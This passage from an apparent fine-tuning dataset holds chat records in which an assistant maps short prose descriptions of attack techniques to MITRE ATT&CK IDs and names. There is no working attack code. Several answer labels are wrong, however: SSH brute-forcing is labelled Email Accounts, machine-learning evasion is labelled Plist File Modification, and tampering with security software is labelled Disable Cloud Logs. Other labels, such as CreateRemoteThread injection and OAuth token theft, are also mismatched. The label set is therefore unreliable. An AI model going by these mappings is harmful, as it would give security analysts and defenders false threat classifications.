                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is delivered via a third‑party Safari extension that requests excessive permissions to read user data."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was introduced into a widely used development tool during its compilation process, resulting in a supply chain compromise affecting all developers using the tool."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group sets up a daily scheduled job that calls a PowerShell command to exfiltrate data to an external server."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit script reads the \"HKLM\\\\SAM\\\\Domains\\\\Account\\\\Users\" registry key to enumerate local account IDs."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker compromises an existing web services account to hijack its OAuth tokens for further access."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a service account with excessive privileges, the attacker performs lateral movement across the network."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage a public web service to send and receive encrypted payloads, maintaining a continuous back-and-forth communication channel."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves extracting Kerberos keys, crafting counterfeit tickets, and using them to gain unauthorized access to domain resources."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker uploads a malicious configuration script to a network appliance that adds an unauthorized SNMP community string for remote control."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a phishing attachment, the adversary installs a payload that periodically captures short video clips from the victim’s webcam."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installed on the system calls the WinAPI to enumerate installed web browsers and their associated executable paths."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the binary by adding filler bytes between sections, thereby evading heuristic scanners."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan looks for sandbox artifacts such as a \"C:\\\\Windows\\\\Temp\\\\sandbox\" folder before proceeding with its execution."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script uses PowerShell \"Get-ComputerInfo\" to collect comprehensive system details, including installed software."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed malicious commands within legitimate FTP control messages to hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign uses PowerShell's Invoke-WebRequest to download a malicious DLL and load it into memory."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a remote thread in a victim's process using CreateRemoteThread to run its payload."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses an in‑memory PE loader that mirrors the PE sections into allocated memory and resolves imports dynamically, a classic reflective code loading approach."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abuse compromised user accounts in a cloud storage service to upload malicious scripts and execute them."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the escalation phase, the threat actor stops the Windows Management Instrumentation (WMI) service to prevent system monitoring."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a vulnerability in the server's BMC firmware to achieve persistence at the hardware level."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage legitimate API calls to pull configuration files from the corporate Git repository."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker applies ROT13 transformation to harvested credentials to obscure them in logs."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor queries publicly available passive DNS services to map out domain registrations and resolve historical IP addresses associated with the victim's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious service named 'SecurityHealth' is installed and set to start automatically, masking its true purpose."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a network bridge to replicate traffic and forward the duplicated streams to a hidden exfiltration node."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious network logon script modifies environment variables to point to attacker‑controlled resources."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set performs AS‑REP roasting against domain admin accounts that are configured not to require Kerberos pre‑authentication, obtaining their TGT hashes for later use."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party application installer contains an embedded script that executes a payload each time the installer is run."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor alters the registry path HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters to change network settings for covert communication."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script modifies IIS configuration to serve a custom defaced HTML page to visitors."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script creates golden tickets after compromising the KRBTGT secret, enabling domain-wide access."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team exercise includes stealing credentials from the Bitwarden vault by extracting the encrypted data blob."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor reads environment variables from a compromised server to harvest database credentials."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised admin account to set an automatic email forward from the organization’s distribution list to their own server."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware overwrites the master boot record and then uses a built‑in utility to securely erase all files on the system’s hard drive."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker packages extracted data in a Base64-encoded ZIP archive to bypass data loss prevention tools."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tampering with security software to prevent detection of data theft"
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs the 'tasklist' command to list all active processes on the compromised Windows machine."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was dropped on the host and renamed to \"chrome.dll\" in the user's AppData folder to masquerade as a legitimate Chrome component."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerable SSH daemon to capture login credentials during brute‑force attempts."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A campaign abuses cmstp.exe to run a malicious script hidden in an INF configuration."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses SSH brute-force attacks to guess passwords and gain remote shell access."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bad actor leverages Docker Compose to start a malicious container at system boot."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sends a USB thumb drive labeled as “Company_Holiday_Photos” that, when plugged in, auto‑executes a hidden batch script."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant compresses and base64‑encodes exfiltrated data, then transmits it via the same HTTP POST requests used for C2 beaconing."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a low‑privilege local account and later escalates its privileges."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses a utility to clear the Mark of the Web from files downloaded via PowerShell's Invoke-WebRequest, enabling execution without prompts."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary disables the firewall through Group Policy settings to open ports for remote access tools."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker provisions a domain account with admin privileges via the Active Directory Users and Computers GUI."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script invoked PowerShell's `Clear-History` cmdlet to erase all previous commands."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker appends meaningless bytes to a PowerShell script, preventing static analysis tools from recognizing the core commands."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro extracts credentials stored in Windows Credential Manager via COM interfaces."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the install_name of a legitimate .dylib to reference a malicious library hosted on a compromised server, causing the application to download and execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes adding a rule that silently forwards all inbound email traffic to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary adds a hidden local user to the system and uses it for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a malicious LaunchAgent plist file in ~/Library/LaunchAgents to execute their payload each time a user logs in."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor manipulates a browser's local storage to insert malicious scripts that run on page load."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses a script to change the default handler for .csv files to a malicious executable, achieving persistence via user interaction."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware writes the user's password hashes into the Windows Registry under HKLM\\Software\\MyApp\\Creds for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script scrapes saved payment information from browser password managers and uploads the data to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware establishes a persistent connection to an external proxy, using it to relay data exfiltration requests out of the target environment."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers generate duplicate content across multiple domains with hidden links to a credential‑stealing service, leveraging search engine rankings to increase victim exposure."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor leverages the mstsc client to take over an active Remote Desktop session without authentication."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the \"runas\" command in cmd.exe, the attacker escalated privileges to a higher‑privileged account."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts a JSON Web Token (JWT) from a compromised service account and uses it to authenticate to other cloud services."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the attacker probes for open shares by scanning for \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\* shares via WMI queries."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistent malicious code watches for changes in the file system and exfiltrates modified files via SMB to an external host."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor runs \"net share\" on the victim's workstation to harvest a map of available shares."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor pulls the contents of the system's temporary directory for potentially sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Utilize machine learning evasion techniques such as model inversion attacks or data poisoning"
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor distributes a fake PDF invoice that contains an embedded executable; the victim double‑clicks the attachment, causing the malicious file to run."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a routine that overwrites and deletes evidence files to obscure the intrusion timeline."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script calls the DigitalOcean API with compromised tokens to create a Droplet, establishing a persistent foothold."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace a legitimate DLL with a malicious version in the application's directory, causing the application to load the compromised library at runtime."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor manipulates container orchestration policies to automatically deploy a container that exfiltrates data."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
